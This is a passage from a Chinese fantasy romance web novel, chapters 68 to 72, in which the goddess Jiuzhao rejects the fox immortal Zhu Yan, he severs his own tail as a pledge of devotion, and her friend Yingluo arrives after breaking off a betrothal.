他搬出自己的弱症来,做冠冕堂皇的理由,更何况又实打实救了她一回。 她还能真的杀了他不成? 遇上这只该死的公狐狸,怎么自己每回都是输。 九昭气自己的失败,又恨他居然当着她的面,露出如此放浪的痴举。 随即埋首,在他的伤口处狠狠咬了一口泄愤。 “唔!!” 一瞬过后,祝晏仰起头,再也忍不住地重喘一声。 所有的意志力,仿佛秋日枝杈上成熟过头的果实一般,啪地跌落在地,摔个粉碎。 空气中无声弥开如兰似麝的异息。 那双半眯起来的,雾蒙蒙中的桃花眼中,积蓄到顶的泪水终于滑落。 饶是九昭修养再好,也忍不住恼羞成怒兼气急败坏:“你、你怎么能这么赢//荡?!” 沉溺在快意的洪流里,祝晏缓不过劲,无知无觉地承受着九昭的嗔骂。 直到她白皙的左手扬起,用力给了他一巴掌。 相比疼痛,更先传来的,是九昭身上仙力波动的气息。 她的掌心原本便热,此刻更是滚烫得不可思议。 祝晏驯顺地承受着她的耳光,又反手握住她细伶伶的腕骨,抵在鼻尖轻轻磨缠着。 与幼兽般呜咽厮磨的动作相反,他钳制着她的力气,大得吓人。 九昭挣脱不开,倏忽感觉到掌心的肌肤一湿。 冰凉柔软的触感,紧接着直达迸勃一片的心脉。 “小姐,其实,也有感觉吧?” 祝晏带着喘息低声询问着,极快的间隔里,他再次舔了下她的掌心,“晏不求地位,也不要名分,只想在小姐下凡的这段时间里陪伴小姐。做个男宠也好,玩物也罢,只要小姐高兴—— “打骂摆弄,无需动情。” 69| 第69章 ◎“不要再靠近我。”◎ 玩物, 男宠。 打骂摆弄,无需动情。 九昭不是不知道祝晏爱慕自己,可这些词语从他口中说出来, 她仍然听得一愣。 一个人对另一个人的感情, 真的可以低到尘埃里吗? 她同兰祁、同扶胥在一起时,从来没有感受过这样浓烈的爱意。 比起爱她,扶胥更爱整个三清天。 而兰祁虽在决裂之前对她千依百顺,偶尔也会散发出一种寄人篱下的隐忍感。 唯独祝晏。 九昭打也打不走, 骂也骂不散。 似乎她做的每一件事,落在他眼里,都是正确且美好的。 似乎他为她付出的每一次, 于他而言,都是甘之若饴的。 他不求等价回报。 甚至不求任何上得了台面的名分。 他在政务学习上尽心尽力辅佐她,又豁出自己的修为和性命安危,多次救她于水火之中。 爱一个人, 便可以做到如此吗? 九昭扪心自问, 她的爱要索取, 要回报,要双向奔赴, 根本无法忍受单方面的包容忍耐。 她连祝晏的十分之一也做不到。 …… 万象宫收队回去后, 整个皇宫仍处于四处戒严的状态。 宫道上盘桓的天风,拂过九昭沉吟的面孔, 带起她落在肩膀上的鸦黑长发。 明知这不是一个适合思考的场合。 九昭的大脑还是控制不住, 冒出许多时而很近, 时而很远的想法——但心真的开始回忆起祝晏带给自己的好时, 她又打了个冷战, 突兀觉得惶恐。 朱映的警告在前, 她反复的拒绝在后。 人心可以朝令夕改,三清天的稳定却经受不起这般动荡。 察觉到九昭掌心肌肉陡然的僵硬后,祝晏没再出声,静静等待着她的审判。 望着她长睫下的眸光从不可置信,到无所适从,再到些许动摇,最后归于冰冷的清明。 他清楚自己再一次被九昭的世界拒之门外。 祝晏来不及做出相对应的表情,转眼,桎梏着他半张面孔的灼热体温抽离。 九昭用一种陌生而审视的目光望着他:“你接近我,是想和孟楚争夺世子位吗?” 身体的快意尚未完全消退,便陡然落进赤/裸/裸的现实中。 祝晏湿意犹存的眸光滞了滞,旋即坚定摇头:“绝非。” “可是。” 九昭说道,“我不相信你。” 在这般彼此心意交锋的时刻,她甚至抽空垂下眼睛,观察了一下祝晏手臂的止血情况:“我下凡的第二天,突然高烧烧得浑身滚烫——原因是什么,你应该知道吧?” 见她终于要说起藏在心中许久的真相,祝晏很轻地“嗯”了一声。 九昭弯了弯唇角,像是自嘲,双眸陷入回忆的涣散中:“其实我和扶胥之间根本没什么大矛盾。决裂只不过是因为,他爱我的身份,胜过爱我这个人本身。 “他说我并不是一个出色的储君,想要坐稳位置,巩固权势,应当考虑和各部联姻。 “说起来,左拥右抱这件事倘若放在其他神仙,哪怕是凡人妖魔身上,都会认为是美事一桩吧——相比依靠出色的政绩服众,依靠打胜仗建立功勋,这条路实在太过容易。 “我也明白,手段城府老练如父神,这些年为母神守贞,也要顶着内外无数压力。” 九昭的话忽然停在此处,视线重新聚焦,可未续之意祝晏已经无声领悟。 他迎着那双热烈执拗的眼睛,仿佛向往温暖的飞蛾,不由自主靠近一步。 九昭伸出脚,抵在他的鞋边,拒绝他的靠近:“我明白,可我不认同。我告诉扶胥,就算坐上神帝的位置,我也不愿牺牲一切来握住权力,我若与他在一起,便永远只与他一人在一起。 “即便感情是权位之上的妄想,是一阵风吹来就会随时飘摇熄灭的烛火,我也渴望有那样一个人,他爱我不是因为我是神姬,也不是因为和我在一起能达到某种目的, “我要他只爱我,把一切事都放到后面,时刻以我为先地爱我。 “扶胥满足不了我的想法,也不理解我的追求。所以我们合离了。” 话至末尾,她笑着歪头问道,“……你说,我是不是很幼稚矫情?” 祝晏无言。 人间写话本歌颂至死不渝的感情,连三清天也奉行忠贞、守一、坚定为应具备的美德。 九昭的追求是错吗? 似乎错只错在她是这样的身份。 他想象不到,九昭和扶胥决裂背后的真相竟是如此。 但思及九昭叛逆不羁的性格,又觉得做出这个选择在情理之中。 他保持着沉默,只因九昭并不需要他苍白的安慰或者劝说。 果然,在讲述完经过后,她径直下达了结论:“在教导我如何度过心魔幻境的时候,在一次又一次陪着我从流星群中跌落的时候,他也说过他爱我,愿为我付出一切,要和我长长久久。 “我相信他当时说出口的誓言,有真心存在,但真心这种东西,不过是大脑发热、情绪激动下的产物。一旦被无法控制的外界因素影响,就会立刻变化倾覆。” 九昭抬手,捏住祝晏的下颌,食指指腹在他咬出印痕的嘴唇上来回抚弄。 她的声音轻飘飘的、慢悠悠的,抛出一个残酷的问题:“还有,若真如你所言,我们在芸生世开启一段露水情缘,回到天上,我将你抛弃,另行嫁娶,而你从此以后只能做离恨天的一名幕僚,又或者我用完你后,将你赶回北境,你真的甘愿一切回归原点,回到你我陌路的最初吗? “分明我已经拒绝了你两次,你依旧在坚持向我表达心意。” 祝晏说不出话。 他突然发觉,九昭哪怕举止从来风风火火,毫无保留,见事却极其明白。 他又不是没有发现九昭的动摇。 说做玩物,说做男宠,仅仅出于让她不要因为害怕沉重责任,而狠心不给一丝机会的想法。 他可以不要名分,像一道影子似地待在九昭身后。 可他必须跟她在一起。 哪有影子离开主人,还能够独立存在得下去? 无论在芸生世,还是在三清天。 他都想要和她在一起。 自己不可告人的心思被九昭点破,祝晏咽了口唾沫,始终低敛的双眸终于抬了起来。 他试图向九昭说明自己绝不会给她添麻烦,也不会破坏她跟未来王夫的感情。 可嘴唇堪堪张开,就被九昭用力捂住。 她自下而上,定定凝视着他:“我说这么多,你可明白了?” 某种冰冷的预感亦攀沿祝晏的脊骨而上,激起大片后颈的肌肤浮粒。 他急切地唔唔两声,用目光哀求着她。 九昭视若无睹:“我不理会你对我是真心,还是想要利用我得到别的东西——别再提起想和我在一起的事情,否则,以你低于我的位阶,近日来又消耗大量修为,我想杀你简直易如反掌。 “北境为着孟楚的种种行径,早就在我常曦殿面前抬不起头,祝晏,你区区一个妾室所出,又身怀弱症的无用庶子,我若真的将你杀死在芸生世,你以为北神王又能做些什么? “不要再靠近我。” …… 曝露内心的杀意,九昭便离开了。 离淼这个最大的麻烦已回去复命,接下来的道路,她不依靠祝晏的敛息符也是畅通无阻。 在仓促之间做出这个决定,九昭并不后悔。 逃避终究无用。 她越是避免与祝晏见面,落在旁人眼中,越显得欲盖弥彰。 一段感情既然注定是错误,就没必要开始。 九昭想,自己如此严厉地威胁祝晏,大约也不会有人宁肯舍弃性命也要追逐爱情。 想清楚这一点。 想清楚世界上不会有人能将她放在最重要的位置。 心脏的悸动就能冷静下来。 连带着那一丝丝说不明的情愫,随着时日推移,终会彻底烟消云散。 …… 这一晚,九昭没有做梦。 由她执念所化的两位青年心魔,也没再浮现于她的脑海中,嘲笑她的天真和软弱。 翌日,九昭醒得很早。 她排算着轮值的金仙名单,用完早膳过后,出发前往登天阶巡查。 登天阶事关下界飞升,一日不彻底复原,就无法接引飞升成仙的万物和人族。 为了加快进度,轮值的金仙,每人皆要修复满一天一夜方可休息。 这一日,算算又应该轮到昼芙。 上次婵娟节,九昭放了她鸽子,她却带着朱映和绛玉,为九昭赢得了夜市擂台的魁首。 那盏美轮美奂,雕刻作天女散花样的琉璃花灯,还挂在三楼待客的茶室中。 今日终于得空,九昭便有心送给昼芙一瓶补身的丹药以作感谢。 她加快上飞的速度,来到登天阶裂缝附近。 远远的,却望见一个并非女子的颀长背影。 ……怎么是他。 这整个月以来,他们几乎日日相处,九昭早就对祝晏头发丝的长度都了若指掌。 她一面怀疑难道是自己记错了轮值名单,一面又想悄无声息地离开,下回再来。 祝晏反倒像背后长眼睛似地,出声唤住了她:“小姐。” 又有什么花样? 九昭欲飞的身形生生一顿。 她思及自己已经警告得足够清楚,祝晏若还惜命,便不会继续坚持。 如今叫住她,应当是为了修复登天阶的事。 若径直离开,倒显得她不够坦荡。 九昭便停下:“何事? “我记得今日当值应该是昼芙金仙,怎会临时替换成你——” 一道极轻微的法术释放声,伴随她的话音同时响起。 最后一个“你”字,在喉咙中颤了颤,仓促消解。 九昭那意欲公事公办的心,在她看到祝晏身后突然露出的七条狐尾时,也跟着烟消云散。 70| 第70章 ◎“倘若再有第三个人负了我——”◎ 七条蓬松毛绒的狐尾出现在天地间。 四畔无风, 它们却如同被海浪拂流的水草般来回摇曳。 那纯净不掺一丝杂迹的颜色映在九昭眼底,亦将她的大脑短暂渲染成空白。 谁能来告诉她,现在是什么情况? 祝晏没有重伤垂危, 他们的关系也并非亲密无间的爱侣—— 为何象征私隐的尾巴会显于她面前? 祝晏的本体大概是白狐, 跟那日九昭看到的,孟楚身后长开的褐红色尾巴不同。因着浅色的缘故,它们看起来更大,起伏间光晕流动, 外放出一种迷惑人心的无害之美。 祝晏暂停了修复登天阶,侧身向九昭飞来。 九昭条件反射变出打神鞭。 不受压制的仙力注入鞭体,那烈烈赤光立即活了过来, 如矫健的游龙般阻拦在两人中间。 九昭不客气地质问:“你又要如何?” 祝晏却对即将戳到脸上的鞭尾视而不见。 他飞到距离九昭最近处才停下:“小姐不妨先听晏说完,等会儿要杀要剐悉听尊便。” 九昭狐疑地瞧了他几息,慢慢收起附着在打神鞭表面的攻击术。 鞭身垂了下去,为他们留出面对面谈话的余地。 祝晏拱手行了个礼:“小姐可知晓, 我狐族的几条尾巴之间, 有何不同?” 这竟是一个叫九昭摸不着头脑的开场。 难不成他变出尾巴来, 是为了向她传授九尾狐族的习性? 九昭不知他葫芦里买的什么药,并不插话进去。 祝晏转头探向身后, 精准抓住其中一条尾巴的末端, 将它带到九昭眼前,展示给她看:“这条叫做初生尾, 是每只九尾狐被诞育到世间时, 天然形成的一条尾巴。 “而其他的那些, 则随着修为的增长, 慢慢分化出来。 “长尾的过程, 就如同神仙参加仙阶考核, 每一条都十分困难。所以,我们这个种族虽被叫做九尾狐,可九成九的人,终其一生都修炼不出来六条以上的尾巴。” 九昭不是狐族,了解他们的修行方式没用,她的关注点都放在祝晏年纪轻轻修成的七尾上。 她再次想到,倘若祝晏不是注定早夭的命数,凭借此等出众的天赋修为,说不定能带领在仙魔大战中背叛又归降,以至于逐渐式微的九尾狐族,重振当年几乎与凤凰族并肩的荣光。 心绪辗转间,九昭又多看了眼青年掌心的狐尾。 祝晏以为她注意到了自己口中所说的“初生尾”一词,越发为她详细解释:“其他的尾巴伴随修为进退,都有生长脱落的可能,唯独‘初生尾’不会发生变化,它连接着我们狐族修行的元脉,倘若被人摧毁,我们的修为也会全数消散,重新回到未开化的狐狸状态,终生不能再修行。 “与被人摧毁初生尾,而永远沦为无知兽类的痛苦相比,或许死亡来得更干脆利落一些。” 听完祝晏长篇大论一段话,九昭依旧不知他的中心思想是何。 她点了点头,嘴角抽动着,皮笑肉不笑:“啊,原来是这样,我学到了。下次要是孟楚再犯贱到我面前来,我就拿鞭子抽断他的初生尾,让他一辈子只能在地上爬——” 话音未落,祝晏抽出藏在袖口的琴中剑,一剑砍下了自己的初生尾。 “——!!” 这变故来得太快。 直到尾部脱落的血液溅上祝晏的眉眼,九昭说话的嘴巴还没有完全闭上。 她愣愣地目视前方。 看祝晏一张漂亮的面孔,因剧痛来袭而扭曲如同修罗恶鬼。 饶是经历了万年弱症发病时的折磨,这直击神魂的痛苦依旧让祝晏嘶吼出声。他的面容也一瞬间出现了狐化的特征——但事情没做完,他不能就此晕倒,也不能直直从云端坠落下去。 他用力咬住舌尖,聚拢仙力,吊住自己的意识,快速施展法术封住了断裂的两处。 初生尾不再淌血,这两臂长的硕物也随着仙力运转,很快缩短为腰挂的大小。 毛茸茸的一握,蜷缩在掌心。 倘若不清楚前由,九昭只会以为是个轻巧可爱的小礼物。 然而。 血液腥潮的气息萦绕在灵敏嗅觉间,提醒着她这团毛绒的出处。 以及祝晏真正做了些什么。 九昭惊得打神鞭也握不住了。 在掉下去的瞬间,鞭子自发隐进她的躯体。 “你、你你你你你在干什么——” 她的话音剧烈颤抖着,如同被狂风席卷的伶仃树叶。 这下,再也没有什么能够阻止他靠近九昭。 祝晏忍着尾椎处传来的钻心痛苦,将高空视作平地,一步一步,趔趄着靠近她。 “小姐,给您。” 他双手捧着初生尾,奉到九昭眼前,又在过程中用清洁术将它里里外外洗了个干净。 “这是我的、初生尾,不脏的……请您收下。” 每说一个字,身体的痛苦就加重一些,祝晏强忍着发黑发沉的视线,小心翼翼乞求。 极度的错愕里,九昭终于找回自己的声音: “你、你这是什么意思?! “想死吗?!想死不必如此,我可以直接成全你——” 血色一层一层从祝晏稠丽的面孔上褪去,他笑了笑:“好啊,小姐可以直接把我的尾巴捏成两段……只要彻底毁了,我就会变成山林中无知无觉的野狐狸,再也不、不打扰小姐。” 他的话音轻得没有重量。 却在入耳的顷刻,将九昭砸得目眩神迷。 她活了三万四千五百年,何时被人逼迫到这种地步。 祝晏他、他怎么敢—— 动作比理智更快,她一把夺过那截白尾,拔高声调,神容凌厉至极:“祝晏!你以为你是谁!你以为我真的不敢杀了你吗!!” 说到最后,九昭发觉自己的话音仍然在抖索。 他为她证明清白,献上灵鸟,侍奉鞋袜,廊下叙话。 再到舍力救治,揭露少事,展现弱症,倾吐爱意。 所做的每一步,他都在倾尽所有地奉献,将自己放在最低处,祈求着她的吝啬垂怜。 可便是这样的两厢交锋。 九昭到此刻才惊觉,被迫上悬崖的竟然是她自己。 倾国倾城的容貌。 体贴入微的性格。 被以孟楚为首的北境仙族排斥的可怜异类。 他亲缘淡薄,无依无靠,又天赋异禀,头脑聪颖。 他如同一株依附大树的菟丝花,从身体发肤到灵魂骨肉,都为了契合九昭而生。 现在,他还要把命交到她的手里。 上下牙关打战的切切声响,阻断了九昭的思考能力。她变成了一个失败匠人手下诞生的失败木偶。只会反反复复地质问着“你干什么”、“你想死吗”、“你什么意思”—— 紧接着,她又问出了近乎绝望的第四句话: “……你到底,想怎么样?” 青年漆黑的眼睛一瞬不瞬地注视着她。 比眼神更加坚定的,是附着在他苍白面孔,从开始就未变过的表情: “我心匪石,不可转也。” 他伸出双手,握住九昭攥着白尾,不断颤抖着的手。 他带领九昭,动作不断用力。 九昭的指腹很快穿过厚实的绒毛,触碰到仍然温热的皮肤和跳动着的脉络纹理。 “感受在小姐身边的滋味,再回到独自一人的黑暗和冰冷,太痛苦了…… “靠近会被杀死,远离则是生不如死。 “……无论哪样选择,都很难说得上更好一些。 “反正没有差别,不如就让小姐亲手决定晏的命运吧。” 说着,祝晏再次用力。 这一回,九昭硬质的指甲边缘也掐进了狐尾的皮肉里。 恍惚间,她听见了这截白尾在发出濒死的尖叫,要化作绳索缠绕着她,将她勒到窒息。 可祝晏依然在笑。 手上的力道越来越重,重到白尾的表皮绷到透明,马上就要在她的掌心彻底变成两段。 他是真的不怕死。 他是真的愿意为了靠近她,奉上自己的全部。 错愕、惶惑、惊恐、不解……无数情绪纷呈之后,九昭的心情变成了崩溃。 她反手箍住祝晏的掌心,喃喃询问:“你爱着我什么呢? “我根本没有你想象中的善良心软,我永远只在意自身的感受——我好逸恶劳,我心志不坚,我喜怒无常,我六根不净,不是一个合格的储君,我甚至不是一个合格的神仙—— “人们只会向往那些温柔的、美好的、包容的化身,被他们身上散发出来的光芒所吸引,为之奋不顾身,可有人会爱天生便是漆黑、泥泞、无法控制的东西吗……? “……你爱的究竟是我对你展现出来的善意,还是我本身?” 祝晏没有回答九昭的询问,他俯下头去,用一个紧紧的拥抱反驳了她所有的自我怀疑。 九昭的手仍然横亘在两人之间。 她的手背抵住对方因为疼痛不断收紧的腹部,继续自言自语,“长到这么大,我不明白正确地爱一个人应该是什么样,可我爱过两个人……同样的,我也被他们辜负了两次。 “祝晏,你知道吗? “我现在依旧不明白什么是爱。 “我唯一知道的是,倘若再有第三个人负了我—— “我一定会杀了他。 “挫骨扬灰,让他死无葬身之地。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 70-80 71| 第71章 ◎“好端端的,你怎么会下界来?”◎ 不同于前番虚张声势的恐吓。 九昭提及背叛她第三次的下场时, 语气平静克制,却叫人不寒而栗。 言已毕,她等待着祝晏经过慎重思考后的回复。 然而, 心脏跳动几十息, 那抱着她,将下巴支进她颈窝的青年依然没有任何回应。 失去耐心,九昭反手架住祝晏的胳膊,把他撑起来一看。 才发觉他气若游丝, 一双桃花眼要闭不闭,明显即将陷入昏迷。 九昭一顿。 经过祝晏的解释,她知晓斩落初生尾献给他人, 只要尾巴没被彻底毁去,狐族便能够继续修行——只不过献尾这个行径往往发生在死士和主上,以及非常少数的夫妻、密友间。 初生尾被外人掌控,相当于命脉遭到挟制。 对方不会有一点损失, 而自身稍有不慎, 就会付出无比惨痛的代价。 骤见他这副虚弱到极点的情态, 九昭开始担心斩断初生尾而不毁去的后果,并非如祝晏所说的那么轻巧简单。可想到一时间不用立刻得到他的答案, 她的心底又隐隐懈了口气。 被祝晏决绝的行为震撼是一回事。 真正接纳他, 漫长的余生同他相伴又是另外一回事。 哪怕不提他被弱症影响,如同风中烛火随时会衰竭的身体, 亦有许多无法忽略的外界因素在, 她需要认认真真思考过后, 才能做出决定。 “对、对不起, 又要麻烦小姐照顾我一次了……” 祝晏的脑袋昏沉沉的, 意识犹似细线将断, 难以对于九昭不久前说的话做出清晰反应。 他口中重复呢喃着自己的歉意,听得九昭忍不住翻了个白眼。 她单手紧紧揽住祝晏,另手解下发带,缠绕掌心白尾几圈,挂在腰上暂时充当个装饰,嘴上没好气道:“与其说那么多对不起,倒不如多关心关心自己……你这副破身子,每天不是吐血就是昏倒的,居然还敢斩下自己的尾巴——我可不想最后变成常年在病床旁边照顾你的老妈子。” 她的动作有些粗鲁,絮絮叨叨发泄自己的压抑心绪。 双眼逐渐闭阖的祝晏,在她越勒越紧的手臂桎梏里,再次痛哼出声。 “对不起……” 又是条件反射的一句道歉。 九昭简直怀疑自己在不经意间,给青年留下了什么难以磨灭的心理阴影。 无言过后,她把语气放软了些,小声自言自语:“说起来,今天要是昼芙当差就好了,你我都不必经受着一遭,可我明明记得今日就是轮到昼芙了……难道是我年纪大了,记性不好?” 怀里的祝晏不知又是哪里吊起的精神,突然挣扎着解释道:“小姐、小姐没有算错……今日本该是是昼芙仙子当差,只不过我想,平日小姐与昼芙、仙子往来密切些……小姐,不愿意见我,若我跟昼芙仙子换了差,说不定、能遇到、遇到小姐前来视察修复进度……” “……” 九昭只恨不能在他俊美的脸蛋上狠狠掐上两下: “你的脑子倒是好用,全用在算计我上!” 祝晏说完就彻底没了动静。 九昭也不知他有没有听见自己最后说的这句。 人晕过去了,差事自然也干不下去了。 九昭自诩不是周扒皮,没有那等泼盆冷水过去,将人唤醒了继续干活的恶毒心理。 她只好任劳任怨,将他背了起来,回到芸生世。 …… 不想被人瞧见,九昭照例运用传送阵,将自己和祝晏送到了壶天珍宝斋的三楼。 她站在楼梯衔接的廊道里,听见二楼房门开闭间的闲聊声——时辰尚早,轮休的金仙们才起床不久,还没有出门去。这时候将祝晏送回房间,难免引起侧目,还有不必要的猜测。 于是,九昭打算暂时把祝晏安顿在自己房间里。 房间在右,她的身体也随之转向了右侧。 位于左侧的待客茶厅,却在这时传来熟悉的声音。 “殿下每次视察都这么久吗?要不我先传给灵讯给她,叫她知晓我下凡来了。” “瀛罗世子莫急,视察的时间很快,料想再有一炷香的功夫,殿下也该回来了。” 瀛罗。 瀛罗怎么会来这里? 九昭托着祝晏身体的手指一紧,似乎是抓疼了他,昏迷中,他又响起隐忍的鼻音。 这声音在空荡荡的廊道里格外明显。 茶厅内的交谈声立刻止息。 而后是众人起身的动静,瀛罗那张一月不见的秀美脸孔迅速出现在门畔。 他看到九昭先是一喜,视线纳进九昭背上的祝晏,紧接着又是一滞。 而慢了他一步出来的朱映和绛玉表情更是难言。 特别是绛玉,下意识道:“殿、殿下,您与祝晏仙君……” 九昭打断她:“什么殿下,这里只有小姐,都忘了吗?” 朱映率先反应过来,他走上前去,伸手试图接过九昭肩上的重任:“小姐,让属下来吧。” “不必。” 朱映的女身娇小,力气看起来还没自己大。 九昭一锤定音道,“你们先侍奉好瀛罗公子,我去去就回。” 说着,她背着祝晏,转身几步,推开了自己的卧室大门。 …… “呃、瀛罗世、公子,小姐有事要忙,您要不回去坐着喝茶?” 九昭离开后,三人间的静寂被胸无城府的绛玉打破。 相比绛玉面上露出的自家关起门来的秘事,不慎被外人所探知的窘迫,一席人族世家公子装扮的瀛罗从容摇着折扇。方才刹那间的失态,转眼被他不留痕迹掩去:“好啊。” 他回到客座,捧起圆几上的瓷盏,轻轻拂了两下茶盖。 茶水洇开的高温白汽,将青年长睫半敛的眉目氤氲成模糊不清的温和。 然而迷惑人的温和之下,是彻骨的冷意—— 缘由来自那截悬挂在九昭腰上,随着她走路动作起伏跳跃的白尾。 还是慢了一步吗? 北境那头将遣下凡的金仙名额瞒得很紧。 他害怕节外生枝,甚至不惜毁坏了自己的名声,才得到前来陪伴她的机会。 居然、居然还是慢了一步—— 沉思之间,妒刻的毒液在胸腔蔓延。 为了掩盖内心的波涛汹涌,瀛罗不自觉喝下一口滚烫的茶水。 九昭的身影,亦随着舌尖弥散的剧痛一同到来。 “怎么了,这副神情?” 她旋身在中央主位坐下,目光里还残留着点与情人相会被好友撞破的不好意思。 瀛罗吐出舌尖,嘶嘶两声:“没注意那茶很烫,不小心喝了下去。” “别人下界来只被压制修为,我看你连脑子也一起也压制了。” 打趣起身边亲近人,九昭的嘴就像是淬满了毒液。 她一面吩咐朱映回房照顾祝晏,绛玉去楼下要点冰块,好为他们留出叙话的空间,一面又释放治愈术,缓解瀛罗舌尖上的红肿凸起,“在芸生世,各类仙术的效果都大打折扣,等下若你的舌头还是不舒服,含着冰块应该会好一些。” “臣谢过殿下。” “不是殿下,是小姐。” “臣谢过小姐。” “把你那个自称也改了,没有殿下,哪来的臣子!” “是是,属下谢过小姐。” 一通插科打诨,九昭也放松了下来。 她问道:“好端端的,你怎么会下界来?” 瀛罗莞尔和煦:“自是因为很多年不见殿下,心下十分想念。” “别油嘴滑舌,哪有很多年——” 话音未落,九昭倏忽想起人间一日,天上一年。 她在芸生世堪堪度过几十日,那三清天已然过去几十年。 瀛罗会这样说,似乎没有任何毛病。 日和年的不同,影响着人的情绪变化,目光触及瀛罗将她看了又看的动容模样,九昭心中却没有任何故人久别重逢的真切感觉。她顿了顿,重复道:“老实点,说实话。” “好吧,是属下犯了大错,被父亲痛打一顿,委派下界,代替西海的金仙修补登天阶。” “……哈?” 从小就是长烨学宫优秀学生典范的瀛罗,能犯什么错? 这错还严重到不仅被痛打,还要被遣送到芸生世—— 打一开始接下督工的职务,九昭就明悉,修补登天阶是个吃力不讨好的活计,得到的功绩和奖赏还比不上实打实消耗的仙力,但凡有点头脸、有点位阶门路的神仙都不会接下。 更何况,“委派”这个词仅是名头上说得好听。 实则,瀛罗下界,相当于被流放到仙力稀薄,无法进寸的芸生世一百多年。 如此惩罚,不可谓不严厉。 面对九昭满眼的不解,瀛罗表现得十分云淡风轻: “小姐不在三清天的这几十年,父亲做主为我选择了南陵的重瑶宗姬为未婚妻,而南神王言,我人品贵重,年纪尚轻便已位临天仙,前途不可估量,于是欣然应允。” “然后呢,这不是好事吗?”九昭盘了盘腰间白尾,嘀咕道,“就是那重瑶年纪比我还小上许多,才成人不久就嫁给你,你简直是老牛吃嫩草……” “小姐英明,属下也是这么想。” 瀛罗应和道,“年龄相差过大,又无感情基础,属下怕迎娶重瑶进门会耽误她一辈子。” 解释了原因,看来接下去就是错误的重点。 九昭似有预感地竖起耳朵,又不以为然地思忖着,依照瀛罗这等处事圆滑,从来不得罪人的个性,就算不想与南陵结亲,总有许多全了两家面子的方式,何至于此。 瀛罗却像是猜到了她内心的想法。 他笑了笑,用最柔和的语气说道:“小姐还记得臣过去同您说过的话吗?其实臣还没有成家的打算。为了不耽误重瑶宗姬,也为了叫父亲暂时放下替我结亲的打算,我便在前往南陵下聘的宴会上,当众说出虽改变了性别,但我的喜好一下子变不过来,还是没办法喜欢女子。” 72| 第72章 ◎“爱一个人,似乎不应该如此自私。”◎ “噗——” 九昭差点一口气没喘匀。 天令最重视纲常正统, 男女修合,阴阳交汇,才符合三界运行的准则。 哪怕有鲛人族这等可以转换自身性别的异类在, 有些事也不能搬到台面上来说。 所以, 变成男子的瀛罗,当着下聘之筵的所有人,一本正经说出自己不喜欢女人—— 造成的冲击力可想而知。 “你、你喜好龙阳?! “既然非男子不可,你又何必、何必化作女身模样——” 勉力咽下梗在喉咙的口水, 九昭艰难地询问着。 “那倒也不是。” 瀛罗无辜眨眨眼睛,“只是个不想再让父亲替我物色妻室的托辞而已。” 稳重又端庄的瀛罗。 从小就是别人家孩子的瀛罗。 被长烨学宫的夫子夸奖着长大的瀛罗—— 居然会想出这么离谱的托辞。 作为朋友,九昭难得为他着想起来:“你可知你这一放话出去, 经年累月积攒起来的好名声就全毁了,就算你以后想要娶妻,恐怕不会有任何门第相当的一家,愿意将女儿许配给你。” 对于九昭设想过后的严重结果, 瀛罗表现得十分泰然。 他用手托着下颌, 目光盯住坐在手边, 眉头紧皱的神姬殿下,反倒关心起另外一件事:“我若声名狼藉, 殿下介意吗?可还会继续在我身边, 跟我做朋友?” “当然不会,你对不起的是重瑶和南神王, 又没对不起我。” 九昭想也不想答道。 瀛罗一笑:“那我就放心了。” “什么?” 瀛罗的声音既低又快, 九昭一字未曾听清。 她下意识反问他, 又见他坐直身体, 探臂过来挽住她的衣袖, 姿态可怜:“属下是说, 事已至此,想再多以后暂时也没什么用处——父亲怒不可遏,直接将属下赶下了人间,属下现在无处可去,背上被鞭子打出来的伤痕都还没好呢——要不小姐发发慈悲,暂时收留一下我?” “这壶天珍宝斋本就是三清天仙众的临时住所,你要想住,我还能把你赶出去不成?” 和好以后,瀛罗总爱没骨头似地腻着她。 许是看了三万多年女身瀛罗,如今他变成男子,在九昭的习惯里,性别差异依旧模糊至极。 九昭甩了两下衣袖,没甩开,便也由着他去。 原本西海派来修补登天阶的金仙是名女性,因下界最晚,到她来时,二楼的空房只剩下了位于角落,空间最小的一间——瀛罗贵为西海世子,身份之高,仅次于九昭,自然不可住在那里。 又听他卖弄了几次可怜,九昭决定把自己卧房对面多出来的房间留给他。 解决了暂时的落脚点,九昭的注意力,兜兜转转再度回归悔婚事件本身。 她留神着瀛罗看似闲谈打趣的言语里,总是似有若无地萦绕着未尽之意,便用黑亮的眼珠回望着他:“不过说真的,不想同重瑶成婚,总有更体面的拒绝方式——你这等行为,得罪南神王不说,也难免让对你抱有深厚期望的西神王失望,何苦要这么做?” 九昭态度严肃起来,瀛罗也不笑了。 他凝视片刻九昭,又转过头,望着窗外属于初秋的明丽景象。 最后,慢慢弯下一贯挺秀如竹的背颈:“循规蹈矩了几万年,属下无一日能够得到片刻放松,原想着若能顺利继承神之位,迎娶不爱但门当户对的女子也不是不行,可真的到了那一日,属下不知为何,脑子里的想的全是小姐为了扶胥上神,这辈子不愿再纳第二人的坚决神色。 “从小姐的神色里,属下突然意识到,人活着,好像也可以拥有一点除开地位权势以外的追求——重瑶并不喜欢我,我也亦然,难道我们就要像我的父母那般,相敬如‘冰’过一辈子?” 瀛罗就着弯腰的姿势,用力抹了一把面孔,罕见的迷惘很快自他的神容间消散。 他重新面朝九昭微笑:“属下不愿就这样陷在他人的期盼里过一辈子,偶尔也想稍稍放纵一次。小姐不是一向信奉按照心意,自由自在地活着吗,应该能够理解我吧?” 这倒是实话。 九昭一贯就是如此活着的。 劝告好友不要纵情任性好像没什么说服力。 她没再多说什么,只低声说了句“自己懂得分寸就行”。 说完瀛罗的事,两人一时无话。 对坐着默默喝了会儿茶,瀛罗将茶盖合上,转而提起在心口酝酿了几番的话题,“属下的事说到底只是小事一桩,在芸生世多待一阵,总能遮掩过去。倒是小姐,您与那祝晏仙君——” 这事,九昭本无人可诉。 朱映是父神派来的人,纵使平日忠诚于她,但遇到事情多以三清天为重。 要同他探讨男女私情,着实有点牛头不对马嘴。 绛玉,心无城府,容易不小心把话泄露出去。 思来想去,若瀛罗不来,似乎只能把所有心事烂在肚子里。 瀛罗方才对于九昭爱情观的认同,引得她打开了话茬,“这个、那个”几声磕巴后,她挑拣重点,省略面红耳赤的十八禁部分,将自己这些天和祝晏发生的起因经过,简短概述了一遍。 “所以,小姐的意思是,祝晏仙君想要同您在一起?” 瀛罗仍然维持着唇角弧度,狭长的眼梢微微弯起,不紧不慢问出重点。 九昭见惯了这般亲和的笑意,初时不察,久了又隐约觉得那笑意好似浮在一张假面之上,无端让人心口发毛——但那一点点不适的感觉,很快又被她自身杂乱的心虚吞没。 她垂着脸,双脚慢慢并拢到一起。 动作代替话语,上下点了点。 “那,小姐对他又是什么感情呢?” 